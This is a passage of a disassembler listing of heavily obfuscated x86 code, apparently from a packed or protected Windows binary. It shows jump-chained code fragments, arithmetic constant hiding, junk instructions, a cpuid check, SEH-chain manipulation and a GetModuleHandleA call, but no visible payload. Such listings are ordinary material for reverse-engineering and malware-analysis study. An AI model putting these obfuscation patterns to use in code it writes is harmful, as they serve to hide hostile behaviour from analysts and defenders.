loc_4289D7: ; CODE XREF: sub_42315D+4j
mov esp, ebp
pop ebp
push 29E7D2B9h
pop eax
rol eax, 0Ch
or eax, 0AF966568h
add eax, 825E9Ah
jmp loc_42BDC6
; END OF FUNCTION CHUNK FOR sub_42315D
; ---------------------------------------------------------------------------
ror ebp, 5
jmp loc_42592E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4289FC: ; CODE XREF: sub_421D33:loc_423EDEj
push 0B4B23475h
pop esi
add esi, 780FB88h
or esi, 0BE5090DFh
jmp loc_428534
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
add eax, edx
; START OF FUNCTION CHUNK FOR sub_42284F
loc_428A15: ; CODE XREF: sub_42284F+39j
mov ebp, [ecx]
jmp sub_4289B3
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_428A1C proc near ; DATA XREF: _94j21ax3:0042313Eo
push 9958DC35h
pop edx
and edx, 624322B5h
push offset sub_428F4B
jmp locret_423392
sub_428A1C endp
; ---------------------------------------------------------------------------
test al, al
jz locret_4284FE
jmp loc_42935B
; ---------------------------------------------------------------------------
loc_428A3F: ; DATA XREF: sub_421457+6704o
push edi
push 605560EBh
xchg esi, [esp]
mov edi, esi
pop esi
or edi, 1212A66Bh
jmp loc_42110A
; ---------------------------------------------------------------------------
and ecx, esi
jmp sub_424839
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_428A5D: ; CODE XREF: sub_42C1AE:loc_421C38j
; sub_42C1AE-6910j
mov edi, eax
push 0D2B2BBEBh
pop eax
add eax, 0AD4D4416h
xor edx, edx
cpuid
and eax, 0FFFh
jmp loc_425B6D
; END OF FUNCTION CHUNK FOR sub_42C1AE
; =============== S U B R O U T I N E =======================================
sub_428A79 proc near ; DATA XREF: sub_42C057-AE51o
call edx ; GetModuleHandleA
xor eax, eax
retn
sub_428A79 endp
; =============== S U B R O U T I N E =======================================
sub_428A7E proc near ; CODE XREF: sub_42220B+6p
; sub_42283B+2FC8j
push esi
loc_428A7F: ; CODE XREF: _94j21ax3:loc_428D47j
push 74CD1407h
jmp loc_425753
sub_428A7E endp
; ---------------------------------------------------------------------------
test esi, ebp
jmp loc_422FB6
; =============== S U B R O U T I N E =======================================
sub_428A90 proc near ; CODE XREF: sub_421480+65Fp
; FUNCTION CHUNK AT 00421872 SIZE 00000010 BYTES
mov [esp+0], edx
pop edx
add edx, edi
rol edx, 5
call sub_4216D0
loc_428A9E: ; CODE XREF: sub_42BD16+Fj
jmp loc_421872
sub_428A90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_428AA3: ; CODE XREF: _94j21ax3:004235E5j
jmp locret_427B03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427CEA
loc_428AA8: ; CODE XREF: sub_427CEA+14j
add eax, 5A51DDC7h
xchg eax, [esp+8+var_8]
jmp loc_422F29
; END OF FUNCTION CHUNK FOR sub_427CEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425983
loc_428AB6: ; CODE XREF: sub_425983:loc_428E7Ej
xor esi, edi
jmp loc_4240A5
; END OF FUNCTION CHUNK FOR sub_425983
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_428ABD: ; CODE XREF: sub_423324-1239j
xchg edi, ecx
ror ecx, 0Bh
jmp loc_42786E
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422C48
loc_428AC7: ; CODE XREF: sub_422C48+47F4j
jno loc_429255
loc_428ACD: ; CODE XREF: sub_422C48:loc_427430j
add eax, 4090DF13h
add eax, ebp
call sub_42B314
; END OF FUNCTION CHUNK FOR sub_422C48
; START OF FUNCTION CHUNK FOR sub_421656
loc_428ADA: ; CODE XREF: sub_421656+6E1Fj
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_421656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_428ADC: ; CODE XREF: sub_4272E9+83Cj
jmp loc_422C0E
; END OF FUNCTION CHUNK FOR sub_4272E9
; =============== S U B R O U T I N E =======================================
sub_428AE1 proc near ; CODE XREF: sub_429382-55E0p
; sub_421F28+2757p ...
; FUNCTION CHUNK AT 00428065 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428C2C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042917B SIZE 00000011 BYTES
push ebp
call sub_423284
loc_428AE7: ; CODE XREF: sub_4288EE+1Dj
jmp loc_428065
sub_428AE1 endp
; ---------------------------------------------------------------------------
loc_428AEC: ; CODE XREF: _94j21ax3:loc_4273E1j
mov [ebp-8], eax
cmp dword ptr [ebp-8], 0
jz loc_424667
jmp loc_422FE6
; ---------------------------------------------------------------------------
loc_428AFE: ; CODE XREF: _94j21ax3:loc_429429j
inc dword ptr [ebp-20h]
mov eax, [ebp-1Ch]
mov eax, ds:dword_425BD4[eax*4]
mov [ebp-8], eax
push offset sub_422FDC
jmp loc_42AFE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422E59
loc_428B18: ; CODE XREF: sub_422E59+2A62j
jnz loc_4224C0
jmp loc_424A52
; END OF FUNCTION CHUNK FOR sub_422E59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429629
loc_428B24: ; CODE XREF: sub_429629-10C1j
jmp loc_4278E6
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
loc_428B29: ; CODE XREF: _94j21ax3:0042803Bj
jmp loc_4291DC
; ---------------------------------------------------------------------------
loc_428B2E: ; CODE XREF: _94j21ax3:00427251j
jmp loc_4257E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425819
loc_428B33: ; CODE XREF: sub_425819-34F8j
jmp nullsub_218
; END OF FUNCTION CHUNK FOR sub_425819
; ---------------------------------------------------------------------------
sub eax, 5FC92625h
not esi
jmp sub_42A358
; ---------------------------------------------------------------------------
or edi, 0EEB773A7h
jmp loc_42BB33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AFEE
loc_428B50: ; CODE XREF: sub_42AFEE+Bj
xchg ebp, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_42AFEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424627
loc_428B54: ; CODE XREF: sub_424627+67AAj
jmp loc_42A2E6
; END OF FUNCTION CHUNK FOR sub_424627
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4232F5
loc_428B59: ; CODE XREF: sub_4232F5-654j
jmp loc_42C3F5
; END OF FUNCTION CHUNK FOR sub_4232F5
; =============== S U B R O U T I N E =======================================
sub_428B5E proc near ; DATA XREF: sub_42AFEE+6o
; FUNCTION CHUNK AT 0042301D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00423123 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042422A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00424443 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424916 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00425138 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426A18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426F1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429D14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BE06 SIZE 00000012 BYTES
mov eax, ds:dword_421998
or eax, eax
jnz loc_429D14
jmp loc_42301D
sub_428B5E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428B71 proc near ; DATA XREF: sub_42B238:loc_42C0D5o
pop ecx
pop ebp
retn
sub_428B71 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428B74 proc near ; CODE XREF: _94j21ax3:loc_422A47p
; sub_422973:loc_42A9B2p ...
jno sub_4264AF
push ebp
mov ebp, esp
call sub_42196C
loc_428B82: ; CODE XREF: sub_42BB8A+12j
jmp loc_42B8C5
sub_428B74 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_428B87: ; CODE XREF: sub_4281A5+11A8j
jmp loc_422556
; END OF FUNCTION CHUNK FOR sub_4281A5
; =============== S U B R O U T I N E =======================================
sub_428B8C proc near ; CODE XREF: sub_426626:loc_42B80Ej
push ebp
call sub_4288D4
sub_428B8C endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_4249A9
loc_428B92: ; CODE XREF: sub_4249A9+5859j
jmp loc_426DB5
; END OF FUNCTION CHUNK FOR sub_4249A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427849
loc_428B97: ; CODE XREF: sub_427849+275Dj
jmp loc_423802
; END OF FUNCTION CHUNK FOR sub_427849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426744
loc_428B9C: ; CODE XREF: sub_426744+Fj
jmp loc_421DF8
; END OF FUNCTION CHUNK FOR sub_426744
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FDC
loc_428BA1: ; CODE XREF: sub_422FDC+B96j
jmp loc_421310
; END OF FUNCTION CHUNK FOR sub_422FDC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427CAC
loc_428BA7: ; CODE XREF: sub_427CAC+5j
jmp loc_42414E
; END OF FUNCTION CHUNK FOR sub_427CAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_428BAC: ; CODE XREF: sub_423614+3067j
jmp loc_42B822
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_428BB1: ; CODE XREF: sub_42A0CC-615Dj
mov ebx, edx
shr ecx, 18h
jmp loc_4298D5
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
loc_428BBB: ; CODE XREF: _94j21ax3:00423C0Bj
xchg eax, [esi]
; =============== S U B R O U T I N E =======================================
sub_428BBD proc near ; CODE XREF: sub_424C37+CAAp
var_4 = dword ptr -4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0042168F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00421DA4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00423212 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042347B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004235EA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00424D3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E64 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042508C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042526C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042547E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00425A25 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426E71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427DE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428234 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00428298 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429C60 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042A303 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A6C0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042AC60 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AC9D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042AD7B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042B45A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042BDB8 SIZE 0000000E BYTES
mov [esp+0], ecx
pop ecx
lea eax, [ebp-24h]
call sub_427CAC
loc_428BC9: ; CODE XREF: sub_421F28:loc_429A51j
add edx, 0AFDDDBAAh
call sub_42851E
loc_428BD4: ; CODE XREF: sub_4220B7+7C30j
jmp loc_42508C
sub_428BBD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42983E
loc_428BD9: ; CODE XREF: sub_42983E-7F24j
jmp loc_424335
; END OF FUNCTION CHUNK FOR sub_42983E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B772
loc_428BDE: ; CODE XREF: sub_42B772:loc_421C6Bj
mov byte ptr [ebp-1], 0
mov eax, cs
xor al, al
push offset sub_4235AE
jmp nullsub_223
; END OF FUNCTION CHUNK FOR sub_42B772
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_428BF0: ; CODE XREF: sub_42C1AE:loc_425B6Dj
add [esi], eax
push eax
push 9B3FAF7Eh
pop eax
and eax, 0E02E4113h
jnz loc_4229AE
; END OF FUNCTION CHUNK FOR sub_42C1AE
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_428C05: ; CODE XREF: sub_42C0BC-9B1Cj
jmp loc_42A2BC
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
rol ebp, 19h
jmp loc_42470B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42878A
loc_428C12: ; CODE XREF: sub_42878A+16j
jl loc_426D10
; END OF FUNCTION CHUNK FOR sub_42878A
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_428C18: ; CODE XREF: sub_4259BF+6j
jmp loc_429303
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
adc edx, 0A861B8E9h
sbb ebx, ebp
jmp loc_426D10
; ---------------------------------------------------------------------------
retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_148. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428AE1
loc_428C2C: ; CODE XREF: sub_428AE1-A73j
jmp loc_42917B
; END OF FUNCTION CHUNK FOR sub_428AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424D58
loc_428C31: ; CODE XREF: sub_424D58+1B15j
jmp sub_42B500
; END OF FUNCTION CHUNK FOR sub_424D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_428C36: ; CODE XREF: sub_42169F+4DF3j
; sub_42169F+5217j
call sub_42C057
test al, al
jz loc_4280FB
push edx
jmp loc_429493
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
sub_428C49 proc near ; DATA XREF: sub_42BB0D-A73Co
; FUNCTION CHUNK AT 00428E1A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042996F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A37F SIZE 00000005 BYTES
push 95216DF3h
pop eax
sub eax, 0C873F329h
add eax, 8C682D66h
add eax, ebp
add eax, 0A6EA57C0h
mov eax, [eax]
jmp loc_42996F
sub_428C49 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_428C6A: ; CODE XREF: sub_42B856-B64j
movzx edx, byte ptr [ecx+edx]
and eax, edx
jz loc_42BFCA
jmp loc_427C6A
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_428C7B: ; CODE XREF: sub_4248E7+Dj
; sub_4248E7:loc_424A8Cj
call sub_422F50
loc_428C80: ; CODE XREF: sub_429F43+Cj
jmp loc_421195
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_428C85: ; CODE XREF: sub_421689+1j
mov ebp, esp
jb sub_42BC17
add esp, 0FFFFFFF0h
loc_428C90: ; CODE XREF: sub_42426B:loc_42503Dj
call sub_42574E
mov edx, 0CB39536Bh
call sub_4239A5
push edi
push 0CA44D7CFh
jmp loc_423D80
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425324
loc_428CAA: ; CODE XREF: sub_425324-2243j
; sub_425324:loc_428981j
push edx
push 0B85F67D1h
pop edx
add edx, 47E2CF66h
xchg edx, [esp+8+var_8]
jmp sub_42574E
; END OF FUNCTION CHUNK FOR sub_425324
; ---------------------------------------------------------------------------
loc_428CBF: ; CODE XREF: _94j21ax3:00426E9Fj
call sub_4213A8
; START OF FUNCTION CHUNK FOR sub_42A5A2
loc_428CC4: ; CODE XREF: sub_42A5A2:loc_4239A0j
pop ebx
sub ebx, 0D5DBB702h
add ebx, 8FE90F1h
mov [ebx], eax
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_42A5A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4228FF
loc_428CD5: ; CODE XREF: sub_4228FF+30ECj
jmp loc_426D78
; END OF FUNCTION CHUNK FOR sub_4228FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42430C
loc_428CDA: ; CODE XREF: sub_42430C-DB4j
; _94j21ax3:00424CB3j
rol eax, 4
jmp loc_423A28
; END OF FUNCTION CHUNK FOR sub_42430C
; ---------------------------------------------------------------------------
push ebx
push 8B52A9B6h
pop ebx
xor ebx, 4B19A14Eh
push offset loc_424382
jmp loc_426A44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_428CF9: ; CODE XREF: sub_42B856:loc_427C6Aj
jnz loc_429B29
jmp loc_421542
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
loc_428D04: ; CODE XREF: _94j21ax3:00428FA1j
; _94j21ax3:loc_42A495j
xor edx, 4C4E0696h
add eax, edx
pop edx
call sub_4221A3
; START OF FUNCTION CHUNK FOR sub_423324
loc_428D12: ; CODE XREF: sub_423324:loc_424798j
pop edi
rol edi, 1
add edi, 0BBDCCD42h
xchg edi, [esp+0]
jmp loc_424CE8
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
jmp loc_422EAB
; ---------------------------------------------------------------------------
jmp loc_423AB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_428D2E: ; CODE XREF: sub_42C057+14j
jmp loc_4281DE
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B202
loc_428D33: ; CODE XREF: sub_42B202+1Aj
jmp loc_42AA18
; END OF FUNCTION CHUNK FOR sub_42B202
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_428D38: ; CODE XREF: sub_428993+23C9j
jmp loc_427E2A
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_428D3D: ; CODE XREF: sub_42B9CF+87j
call sub_42C057
jmp loc_427AA5
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_428D47: ; CODE XREF: _94j21ax3:00422E6Fj
jnz loc_428A7F
and ecx, 196B36Eh
cdq
or ebx, 75EBE97Ch
loc_428D5A: ; CODE XREF: _94j21ax3:loc_42B4A2j
mov byte ptr [ebp-806h], 0
mov byte ptr [ebp-805h], 0
mov byte ptr [ebp-804h], 0
mov byte ptr [ebp-803h], 0
jmp loc_427AB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_428D7B: ; CODE XREF: sub_421D33+379j
jge loc_4255DC
jge loc_42157B
shr ebx, 5
jmp loc_4255DC
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_428D8F: ; CODE XREF: sub_42A268-6D3Ej
; sub_423324+70B0j
cmp edx, 76C1FC9Bh
jmp loc_4283C5
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
pushf
jmp sub_4255BF
; ---------------------------------------------------------------------------
loc_428DA0: ; CODE XREF: _94j21ax3:0042655Dj
sbb ebx, 0FE91EA75h
; =============== S U B R O U T I N E =======================================
sub_428DA6 proc near ; CODE XREF: _94j21ax3:00428453p
; FUNCTION CHUNK AT 004275EB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042A4CD SIZE 00000005 BYTES
mov [esp+0], ecx
pop ecx
and al, 7
mov [ebp-0Bh], al
xor eax, eax
jmp loc_4275EB
sub_428DA6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42106D
loc_428DB6: ; CODE XREF: sub_42106D+3j
; sub_423324:loc_4293C1j
push ecx
mov esp, ebp
push offset loc_422AC2
jmp nullsub_121
; END OF FUNCTION CHUNK FOR sub_42106D
; ---------------------------------------------------------------------------
mov edx, 0F75CA70h
call sub_4239A5
push eax
ror eax, 6
mov ds:dword_429F80, eax
jmp locret_425ACA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FBC
loc_428DDC: ; CODE XREF: sub_422FBC:loc_4240DEj
mov esp, ebp
pop ebp
mov eax, ds:dword_4256C0
or eax, eax
loc_428DE7: ; CODE XREF: _94j21ax3:loc_4266C5j
jnz loc_429B20
jmp loc_424806
; END OF FUNCTION CHUNK FOR sub_422FBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_428DF2: ; CODE XREF: sub_42484C:loc_429CD7j
cmp dword ptr [ebp-10h], 0
jnz loc_429C57
mov eax, [ebp+8]
push eax
jmp loc_423AB1
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BBF9
loc_428E05: ; CODE XREF: sub_42BBF9+Ej
push esi
push 4C0E1F80h
pop esi
add esi, 0B4343B29h
xchg esi, [esp+4+var_4]
jmp loc_42810E
; END OF FUNCTION CHUNK FOR sub_42BBF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428C49
loc_428E1A: ; CODE XREF: sub_428C49:loc_42996Fj
popf
push eax
push offset sub_427EBE
jmp loc_42A37F
; END OF FUNCTION CHUNK FOR sub_428C49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_428E26: ; CODE XREF: sub_42C0BC-54F8j
jb loc_42259C
popf
; END OF FUNCTION CHUNK FOR sub_42C0BC
; START OF FUNCTION CHUNK FOR sub_42983E
loc_428E2D: ; CODE XREF: sub_42983E:loc_42190Bj
; sub_42C0BC:loc_42C163j
pop large dword ptr fs:0
push offset loc_425709
jmp loc_423C39
; END OF FUNCTION CHUNK FOR sub_42983E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42266A
loc_428E3E: ; CODE XREF: sub_42266A:loc_421789j
push offset sub_42A9F4
jmp nullsub_189
; END OF FUNCTION CHUNK FOR sub_42266A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_428E48: ; CODE XREF: sub_422EB0+52ABj
jnz loc_42BC7E
loc_428E4E: ; CODE XREF: _94j21ax3:004289A8j
jmp loc_42546B
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_428E53: ; CODE XREF: sub_423A56+Aj
jnz loc_4263F2
jmp loc_42BBD0
; END OF FUNCTION CHUNK FOR sub_423A56
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429DCC
loc_428E5E: ; CODE XREF: sub_429DCC:loc_429DD7j
jge loc_424FF5
loc_428E64: ; CODE XREF: sub_422CA6+667Fj
mov [esi], ebx
jmp loc_424FF3
; END OF FUNCTION CHUNK FOR sub_429DCC
; ---------------------------------------------------------------------------
test eax, eax
jnz loc_4225C8
jmp loc_426AF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428F65
loc_428E78: ; CODE XREF: sub_428F65-661Dj
jz loc_4256F8
; END OF FUNCTION CHUNK FOR sub_428F65
; START OF FUNCTION CHUNK FOR sub_425983
loc_428E7E: ; CODE XREF: sub_425983-1177j
jmp loc_428AB6
; END OF FUNCTION CHUNK FOR sub_425983
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_428E83: ; CODE XREF: sub_423BF8+8j
jmp loc_42689A
; END OF FUNCTION CHUNK FOR sub_423BF8
; ---------------------------------------------------------------------------
popf
sub eax, ebx
jmp loc_4256F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_428E91: ; CODE XREF: sub_42284F+80E7j
jz loc_4236FB
jmp loc_424048
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428954
loc_428E9C: ; CODE XREF: sub_428954+13j
dec eax
test eax, eax
jl loc_427103
inc eax
mov [ebp-1Ch], eax
mov dword ptr [ebp-18h], 0
loc_428EB0: ; CODE XREF: _94j21ax3:00421EA2j
mov eax, [ebp-4]
mov edx, [ebp-14h]
jmp loc_428504
; END OF FUNCTION CHUNK FOR sub_428954
; =============== S U B R O U T I N E =======================================
sub_428EBB proc near ; CODE XREF: sub_421A4F:loc_421A59p
; _94j21ax3:00427E4Cj
; FUNCTION CHUNK AT 004222DA SIZE 0000001A BYTES
xchg edx, [esp+0]
pop edx
mov eax, [ebp+8]
push eax
mov eax, [ebp+8]
cmp dword ptr [eax-1Ch], 0F6h
loc_428ECD: ; CODE XREF: sub_423081:loc_42B2D7j
setz al
call sub_4215F9
loc_428ED5: ; CODE XREF: _94j21ax3:00429BD5j
jmp loc_4222DA
sub_428EBB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428EDA proc near ; DATA XREF: sub_429550:loc_42955Bo
; FUNCTION CHUNK AT 00421B22 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00421F62 SIZE 00000003 BYTES
call sub_4215F9
pop ecx
shl eax, 3
call sub_429C48
loc_428EE8: ; CODE XREF: sub_422898+17j
jmp loc_421B22
sub_428EDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426716
loc_428EED: ; CODE XREF: sub_426716:loc_4277D8j
sub ebp, 0DE26A813h
loc_428EF3: ; CODE XREF: sub_428381:loc_42A249j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call eax
push esi
jmp loc_42A229
; END OF FUNCTION CHUNK FOR sub_426716
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_428F05: ; CODE XREF: _94j21ax3:00426711j
jz loc_4286B2
jmp loc_42BAE2
; ---------------------------------------------------------------------------
and ebx, ebp
jmp loc_42A77C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B71E
loc_428F17: ; CODE XREF: sub_42B71E-9ABEj
add ecx, ebp
add ecx, 7A493468h
mov [ecx], al
pop ecx
jmp loc_426C46
; END OF FUNCTION CHUNK FOR sub_42B71E
; ---------------------------------------------------------------------------
or eax, ecx
jmp sub_42426B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_428F2E: ; CODE XREF: sub_42284F:loc_4227A2j
jz loc_429D5D
jp loc_4272F8
jle loc_4274F7
jno loc_42AE83
jmp loc_42B7DD
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_428F4B proc near ; DATA XREF: sub_428A1C+Co
add edx, 79AD48C0h
add edx, eax
add edx, 8612B72Bh
mov dword ptr [edx], 1000h
sub_428F4B endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42269A
loc_428F60: ; CODE XREF: sub_42269A+7958j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_42269A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428F65 proc near ; CODE XREF: _94j21ax3:00422D53p
; sub_429DCC-4DCBp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421210 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00422828 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422930 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004249DC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004256F8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428E78 SIZE 00000006 BYTES
push ebp
mov ebp, esp
jmp loc_4249DC
sub_428F65 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_428F6D proc near ; DATA XREF: sub_422141+874Ao
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004242D3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B67D SIZE 00000012 BYTES
pushf
mov [esp+0], eax
call sub_42A61F
push eax
call sub_423094
loc_428F7C: ; CODE XREF: sub_422866+411Aj
jmp loc_42B67D
sub_428F6D endp ; sp-analysis failed
